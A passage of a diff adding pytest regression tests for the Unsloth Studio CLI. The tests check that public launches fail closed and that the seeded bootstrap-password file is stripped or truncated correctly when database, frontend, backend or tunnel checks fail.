+    # for an old child to inject, so the launch must fail closed, not publish.
+    import pathlib
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+    # The file remains (removal failed) and the DB flag is untouched.
+    assert bootstrap_file.exists()
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+class _FailingSelectConn:
+    """Wrap a real auth connection but raise on the gate's must_change SELECT,
+    so seeding + commit still happen and only the read-back fails (a locked-DB
+    window that lands after _ensure_cli_default_admin already wrote the file)."""
+
+    def __init__(self, inner):
+        self._inner = inner
+
+    def execute(self, sql, *args, **kwargs):
+        if sql.lstrip().startswith("SELECT password_salt"):
+            raise sqlite3.OperationalError("database is locked")
+        return self._inner.execute(sql, *args, **kwargs)
+
+    def __getattr__(self, name):
+        return getattr(self._inner, name)
+
+
+class _FailingCommitConn:
+    """Wrap a real auth connection but raise on commit(), so a fresh install's
+    seeded admin INSERT rolls back on close() -- the seed-committed guarantee the
+    gate depends on is not met, even though _ensure_cli_default_admin already
+    wrote the .bootstrap_password file."""
+
+    def __init__(self, inner):
+        self._inner = inner
+
+    def commit(self):
+        raise sqlite3.OperationalError("database is locked")
+
+    def __getattr__(self, name):
+        return getattr(self._inner, name)
+
+
+def test_studio_default_connect_failure_fails_closed(monkeypatch, tmp_path):
+    # If the auth DB cannot even be opened (transient lock / unwritable home) we
+    # cannot confirm a committed admin exists, so a re-exec'd old studio-venv child
+    # could find no admin, regenerate a fresh bootstrap credential, and serve it
+    # publicly -- stripping a file we cannot vouch for would not stop that. Refuse
+    # rather than publish; a transient lock clears on retry, and the existing
+    # credential file is left untouched so a retry can still prompt.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(
+        studio_mod,
+        "_connect_auth_db",
+        lambda: (_ for _ in ()).throw(sqlite3.OperationalError("database is locked")),
+    )
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+    # Not stripped: a retry can still prompt/strip once the lock clears.
+    assert bootstrap_file.exists()
+
+
+def test_studio_default_seed_commit_failure_fails_closed(monkeypatch, tmp_path):
+    # Fresh install: the gate's own _ensure_cli_default_admin does the INSERT and
+    # writes .bootstrap_password, but the commit fails (write lock held past
+    # busy_timeout). The uncommitted admin rolls back on close, so a re-exec'd old
+    # child would find no admin and regenerate + serve a fresh default credential;
+    # stripping cannot stop a regeneration. The gate must fail closed.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    # Deliberately NO _seed_auth(): the gate seeds the fresh DB itself, then commit fails.
+    real_connect = studio_mod._connect_auth_db
+    monkeypatch.setattr(studio_mod, "_connect_auth_db", lambda: _FailingCommitConn(real_connect()))
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+    # The half-written seed file is stripped, and no admin row was committed.
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+    verify = sqlite3.connect(_auth_db(tmp_path))
+    try:
+        assert verify.execute("SELECT COUNT(*) FROM auth_user").fetchone()[0] == 0
+    finally:
+        verify.close()
+
+
+def test_studio_default_missing_venv_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression: the venv/run.py launchability check must run BEFORE the headless
+    # gate strips .bootstrap_password. Otherwise a failed launch leaves the admin
+    # at must_change_password=1 with no password to log in (lockout until
+    # reset-password). With the venv missing, exit without stripping the file.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: None)  # venv missing
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: None)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    # The seeded file survives: launchability failed BEFORE the gate could strip it.
+    assert bootstrap_file.exists()
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    # The gate never ran (no prompt, no strip).
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "not set up" in combined.lower()
+
+
+def test_studio_default_missing_frontend_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression (item B): a public UI launch needs a built frontend dist -- the
+    # login page is the ONLY way to change the seeded password. Resolve it BEFORE
+    # the headless gate strips .bootstrap_password, so a missing dist aborts the
+    # launch without stripping (no lockout at must_change_password=1 with nothing
+    # left to log in with).
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    # Launcher present, but no built frontend dist.
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    # The seeded file survives: the frontend check failed BEFORE the gate stripped it.
+    assert bootstrap_file.exists()
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    # The gate never ran (no prompt, no strip, no exec).
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend is not built" in combined.lower()
+
+
+def test_studio_default_bad_frontend_path_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression (item B / reviewer finding): a user-supplied --frontend that does
+    # not contain index.html must NOT bypass the servable-UI guard. Otherwise the
+    # headless gate strips .bootstrap_password and the child serves no login page
+    # -> lockout. Validate the path BEFORE the gate and abort without stripping.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
+    # Auto-resolution would find a dist, but the user forced an empty one (no
+    # index.html): the guard must reject it rather than trust it.
+    monkeypatch.setattr(
+        studio_mod, "_find_frontend_dist", lambda: Path("/fake/studio/frontend/dist")
+    )
+    empty_dir = tmp_path / "empty_frontend"
+    empty_dir.mkdir()
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(
+        app, ["--secure", "--frontend", str(empty_dir)], catch_exceptions = True
+    )
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "index.html" in combined.lower()
+
+
+def test_studio_default_missing_frontend_loopback_cloudflare_still_launches(monkeypatch, tmp_path):
+    # The dist guard is scoped to public exposure only. A loopback --cloudflare
+    # (default host) does not tunnel, so a missing dist must NOT abort it -- the
+    # launch proceeds exactly as before.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+
+    monkeypatch.setattr(sys, "prefix", "/nonexistent/outer/venv")
+    monkeypatch.setattr(studio_mod, "_ensure_studio_env_exported", lambda: None)
+    fake_venv = Path("/fake/studio/venv/unsloth_studio")
+    monkeypatch.setattr(studio_mod, "_studio_venv_python", lambda: fake_venv / "bin" / "python")
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: Path("/fake/studio/run.py"))
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)
+    monkeypatch.setattr(sys, "platform", "linux")
+
+    def fake_execvp(file, argv):
+        events.append(("exec", list(argv)))
+        raise _ExecCaptured(argv)
+
+    monkeypatch.setattr(studio_mod.os, "execvp", fake_execvp)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--cloudflare"], catch_exceptions = True)
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], (events, result.output)
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend not built" not in combined.lower()
+
+
+def test_studio_default_in_venv_broken_backend_exits_before_stripping_bootstrap(
+    monkeypatch, tmp_path
+):
+    # Regression (item B / reviewer finding): the in-venv (in-process) path skips
+    # the re-exec launcher check, so a headless public launch would seed + strip
+    # the seeded .bootstrap_password in the gate before _load_run_module() later
+    # fails on a broken/partial venv -> lockout. Validate the backend is
+    # importable BEFORE the strip and abort without stripping.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    # Pretend we are already inside the studio venv, with a broken backend.
+    monkeypatch.setattr(sys, "prefix", str(tmp_path / "unsloth_studio"))
+
+    def _boom():
+        raise ImportError("cannot import backend run.py")
+
+    monkeypatch.setattr(studio_mod, "_load_run_module", _boom)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events  # gate never stripped/prompted
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "backend could not be loaded" in combined.lower()
+
+
+def test_studio_default_in_venv_missing_frontend_exits_before_stripping_bootstrap(
+    monkeypatch, tmp_path
+):
+    # Regression (Codex): the in-venv (in-process) path validated the backend but
+    # not the frontend, so a headless public launch would strip the seeded
+    # password in the gate before run_server() aborted on a missing dist. Validate
+    # the servable frontend BEFORE the strip, same as the re-exec path.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(sys, "prefix", str(tmp_path / "unsloth_studio"))  # in-venv
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)  # no built dist
+    monkeypatch.setattr(studio_mod, "_load_run_module", lambda: None)  # backend fine
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend is not built" in combined.lower()
+
+
+def test_studio_default_secure_tunnel_unavailable_preserves_bootstrap(monkeypatch, tmp_path):
+    # Regression (Codex): a headless --secure launch strips the only plaintext
+    # recovery credential before the child proves the tunnel can start. If
+    # cloudflared is provably unavailable no public URL comes up (loopback bind),
+    # so the strip must be skipped and the launch refused, preserving recovery.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _install_studio_default_reexec(monkeypatch, events)
+    # cloudflared cannot be found or downloaded -> the --secure tunnel is dead.
+    monkeypatch.setattr(studio_mod, "_tunnel_binary_confirmed_unavailable", lambda: True)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # preserved for recovery, NOT stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert "exec" not in [k for k, _ in events], events  # never re-exec'd
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "cloudflared" in combined.lower()
+
+
+def test_studio_default_wildcard_cloudflare_strips_even_if_tunnel_unavailable(
+    monkeypatch, tmp_path
+):
+    # The unavailable-tunnel skip is --secure-only: a wildcard --cloudflare binds
+    # 0.0.0.0 publicly regardless of the tunnel, so the seeded password must still
+    # be stripped even when cloudflared is unavailable.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _install_studio_default_reexec(monkeypatch, events)
+    monkeypatch.setattr(studio_mod, "_tunnel_binary_confirmed_unavailable", lambda: True)
+
+    app = _typer.Typer()
+    app.command()(studio_mod.studio_default)
+    result = CliRunner().invoke(app, ["-H", "0.0.0.0", "--cloudflare"], catch_exceptions = True)
+
+    # Still strips (raw public bind) and re-execs.
+    assert not bootstrap_file.exists(), result.output
+    assert "exec" in [k for k, _ in events], events
+
+
+def test_tunnel_probe_adds_backend_to_syspath(monkeypatch, tmp_path):
+    # Regression (Codex 3572165922): ensure_cloudflared -> _cache_path lazily
+    # imports utils.paths.storage_roots, which only resolves when studio/backend is
+    # on sys.path. From the outer CLI it is not, so the probe must add it or it
+    # false-reports "unavailable" and wrongly refuses --secure. Model that with a
+    # cloudflare_tunnel whose ensure_cloudflared resolves ONLY when backend is on
+    # sys.path.
+    studio_mod = _studio()
+    backend = tmp_path / "backend"
+    backend.mkdir()
+    (backend / "cloudflare_tunnel.py").write_text(
+        "import sys\n"
+        f"_BACKEND = {str(backend)!r}\n"
+        "def ensure_cloudflared():\n"
+        "    # Resolvable (cached) ONLY when the backend dir is importable.\n"
+        "    return '/fake/cloudflared' if _BACKEND in sys.path else None\n"
+    )
+    monkeypatch.setattr(studio_mod, "_find_run_py", lambda: backend / "run.py")
+    assert str(backend) not in sys.path  # precondition
+
+    result = studio_mod._tunnel_binary_confirmed_unavailable()
+
+    # ensure_cloudflared resolved (backend was on sys.path) -> available -> not
+    # "confirmed unavailable"; without the fix it would false-report True.
+    assert result is False
+    # The probe cleans up the sys.path entry it added.
+    assert str(backend) not in sys.path
+
+
+def test_studio_default_query_failure_strips_bootstrap_file(monkeypatch, tmp_path):
+    # The DB opens and the admin is seeded + committed (so .bootstrap_password is
+    # on disk), but reading must_change_password back fails. Returning here would
+    # re-exec with the freshly seeded credential still on disk; strip it first.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    real_connect = studio_mod._connect_auth_db
+    monkeypatch.setattr(studio_mod, "_connect_auth_db", lambda: _FailingSelectConn(real_connect()))
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    assert not bootstrap_file.exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "removing the seeded bootstrap password" in combined.lower()
+
+
+def test_studio_default_loopback_cloudflare_never_prompts(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--cloudflare"])
+
+    kinds = [kind for kind, _ in events]
+    assert "prompt" not in kinds, events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "bootstrap password" not in combined
+
+
+def test_studio_default_changed_password_never_prompts(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod, must_change = False)
+
+    _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+
+
+def test_studio_default_refusal_aborts_launch(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(
+        monkeypatch, tmp_path, interactive = True, scripted = KeyboardInterrupt()
+    )
+    _seed_auth(studio_mod)
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    assert result.exit_code == 1, result.output
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_studio_default_wildcard_cloudflare_prompts(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod)
+
+    _invoke_studio_default(monkeypatch, events, ["-H", "0.0.0.0", "--cloudflare"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["prompt", "exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+
+
+# ── `unsloth studio run` ─────────────────────────────────────────────
+
+
+def test_run_secure_prompts_and_updates_before_reexec(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    before = _seed_auth(studio_mod)
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["prompt", "exec"], events
+
+    after = _auth_state(studio_mod)
+    assert after["must_change_password"] == 0
+    assert after["password_hash"] != before["password_hash"]
+    assert after["n_refresh"] == 0
+
+
+def test_run_non_tty_warns_and_proceeds(monkeypatch, tmp_path):
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+
+    result = _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "bootstrap password" in combined
+
+
+def test_run_non_tty_deletes_bootstrap_password_file(monkeypatch, tmp_path):
+    # Same mixed-version safety for the `unsloth studio run` re-exec path (which
+    # cannot fail-close an old child via a CLI flag): the seeded credential file
+    # is deleted before re-exec, the launch still proceeds, and the DB flag holds.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    assert not bootstrap_file.exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_run_missing_frontend_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression (item B / reviewer finding 4): `unsloth studio run` serves the
+    # same Studio UI and strips the seeded password on a headless public launch,
+    # so a missing frontend dist must abort BEFORE the strip -- the same lockout
+    # guard as `unsloth studio`, not just `studio run`'s model-load residual.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    _install_run_reexec(monkeypatch, events)
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)  # no built dist
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    result = CliRunner().invoke(app, _BASE + ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events  # no strip, no exec
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend is not built" in combined.lower()
+
+
+def test_run_in_venv_missing_frontend_exits_before_stripping_bootstrap(monkeypatch, tmp_path):
+    # Regression (Codex 3571888563): the in-venv `studio run` path validated only
+    # the backend, so a headless public launch would strip the seeded password
+    # before run_server() aborted on a missing dist. Validate the frontend first.
+    import typer as _typer
+
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.exists()
+
+    monkeypatch.setattr(sys, "prefix", str(tmp_path / "unsloth_studio"))  # in-venv
+    monkeypatch.setattr(studio_mod, "_find_frontend_dist", lambda: None)  # no built dist
+    monkeypatch.setattr(studio_mod, "_load_run_module", lambda: None)  # backend fine
+
+    app = _typer.Typer()
+    app.command(
+        context_settings = {"allow_extra_args": True, "ignore_unknown_options": True},
+    )(studio_mod.run)
+    result = CliRunner().invoke(app, _BASE + ["--secure"], catch_exceptions = True)
+
+    assert result.exit_code == 1, result.output
+    assert bootstrap_file.exists()  # not stripped
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+    assert events == [], events
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "frontend is not built" in combined.lower()
+
+
+def test_run_reexec_forwards_resolved_frontend_on_public_launch(monkeypatch, tmp_path):
+    # Regression (Codex 3571888570): the run re-exec discarded the dist resolved
+    # by the pre-strip check and only forwarded a user-supplied --frontend. On a
+    # public launch it must forward the resolved dist so a shadowed child that
+    # cannot self-resolve one still serves it (no post-strip lockout).
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = True)
+    _seed_auth(studio_mod, must_change = False)  # gate is a no-op -> straight to re-exec
+
+    # _install_run_reexec resolves _find_frontend_dist -> /fake/studio/frontend/dist.
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])  # no user --frontend
+
+    exec_argv = [argv for kind, argv in events if kind == "exec"][0]
+    assert "--frontend" in exec_argv, exec_argv
+    assert exec_argv[exec_argv.index("--frontend") + 1] == "/fake/studio/frontend/dist", exec_argv
+
+
+def test_run_non_tty_persists_seeded_admin_on_fresh_home(monkeypatch, tmp_path):
+    # Fresh STUDIO_HOME on the `run` re-exec path: the seeded admin must be
+    # committed before re-exec so an old console-script child does not regenerate
+    # and inject a fresh bootstrap credential.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+
+    _invoke_run(monkeypatch, events, _BASE + ["--secure"])
+
+    state = _auth_state(studio_mod)
+    assert state["must_change_password"] == 1
+    assert not (tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE).exists()
+    kinds = [kind for kind, _ in events]
+    assert kinds == ["exec"], events
+
+
+def test_run_non_tty_api_only_fails_closed(monkeypatch, tmp_path):
+    # api-only serving never arms the bootstrap shutdown deadline, so a
+    # headless public launch with the default password has no safeguard at
+    # all: the CLI must refuse rather than promise a shutdown that never comes.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+
+    result = _invoke_run(monkeypatch, events, _BASE + ["--secure", "--api-only"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+    assert _auth_state(studio_mod)["must_change_password"] == 1
+
+
+def test_studio_default_non_tty_disabled_deadline_fails_closed(monkeypatch, tmp_path):
+    # UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT=0 disables the deadline; headless +
+    # default password + public tunnel then has no protection -> refuse.
+    studio_mod = _studio()
+    events = _install_prompt_env(monkeypatch, tmp_path, interactive = False)
+    _seed_auth(studio_mod)
+    monkeypatch.setenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", "0")
+
+    result = _invoke_studio_default(monkeypatch, events, ["--secure"])
+
+    kinds = [kind for kind, _ in events]
+    assert "exec" not in kinds, events
+    assert result.exit_code == 1, result.output
+    combined = (result.output or "") + (getattr(result, "stderr", "") or "")
+    assert "refusing to publish" in combined.lower()
+
+
+@pytest.mark.parametrize(
+    "raw,expected",
+    [
+        (None, True),  # unset -> default 1h
+        ("", True),
+        ("garbage", True),  # malformed must not remove protection
+        ("3600", True),
+        ("1", True),
+        ("0", False),
+        ("-5", False),
+    ],
+)
+def test_bootstrap_deadline_active_mirrors_backend_parsing(monkeypatch, raw, expected):
+    studio_mod = _studio()
+    if raw is None:
+        monkeypatch.delenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raising = False)
+    else:
+        monkeypatch.setenv("UNSLOTH_STUDIO_BOOTSTRAP_TIMEOUT", raw)
+    assert studio_mod._bootstrap_deadline_active() is expected
+
+
+def test_reset_password_truncates_locked_bootstrap_after_db_delete(monkeypatch, tmp_path):
+    # reset-password deletes auth.db first, then invalidates the seeded credential
+    # files. A locked/undeletable .bootstrap_password must be truncated so its
+    # stale plaintext cannot be re-seeded (generate_bootstrap_password reuses a
+    # non-empty file), while the reset still succeeds.
+    import pathlib
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    auth_dir = tmp_path / "auth"
+    bootstrap_file = auth_dir / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    db_file = auth_dir / "auth.db"
+    assert bootstrap_file.exists() and db_file.exists()
+    assert bootstrap_file.read_text().strip()
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+
+    import typer as _typer
+
+    app = _typer.Typer()
+    app.command()(studio_mod.reset_password)
+    result = CliRunner().invoke(app, [], catch_exceptions = True)
+
+    assert result.exit_code == 0, result.output
+    assert not db_file.exists()
+    # The locked file survives, but truncated -- no reusable plaintext.
+    assert bootstrap_file.exists()
+    assert bootstrap_file.read_text() == ""
+
+
+def test_cli_update_password_truncates_locked_bootstrap_after_change(monkeypatch, tmp_path):
+    # After a CLI/interactive password change the seeded .bootstrap_password is
+    # deleted. If it cannot be unlinked but is still writable (locked file /
+    # read-only dir), it must be TRUNCATED so its stale plaintext cannot be
+    # re-seeded by generate_bootstrap_password() after a later reset-password
+    # deletes auth.db. The change is already committed, so it must NOT roll back.
+    import pathlib
+
+    studio_mod = _studio()
+    monkeypatch.setattr(studio_mod, "STUDIO_HOME", tmp_path)
+    _seed_auth(studio_mod)
+    bootstrap_file = tmp_path / "auth" / studio_mod.BOOTSTRAP_PASSWORD_FILE
+    assert bootstrap_file.read_text().strip()
+
+    _real_unlink = pathlib.Path.unlink
+
+    def _boom_unlink(self, *a, **k):
+        if self.name == studio_mod.BOOTSTRAP_PASSWORD_FILE:
+            raise OSError("locked")
+        return _real_unlink(self, *a, **k)
+
+    monkeypatch.setattr(pathlib.Path, "unlink", _boom_unlink)
+
+    conn = studio_mod._connect_auth_db()
+    studio_mod._cli_update_password(conn, studio_mod.DEFAULT_ADMIN_USERNAME, "fresh-new-pw-123")
+    conn.close()
+
+    # The change committed (must_change cleared) AND the locked file is truncated.
+    assert _auth_state(studio_mod)["must_change_password"] == 0
+    assert bootstrap_file.exists()
+    assert bootstrap_file.read_text() == ""
+
+
+def test_reset_password_fails_closed_when_db_cannot_be_deleted(monkeypatch, tmp_path):
+    # If auth.db cannot be removed (running Studio / Windows lock, read-only dir),
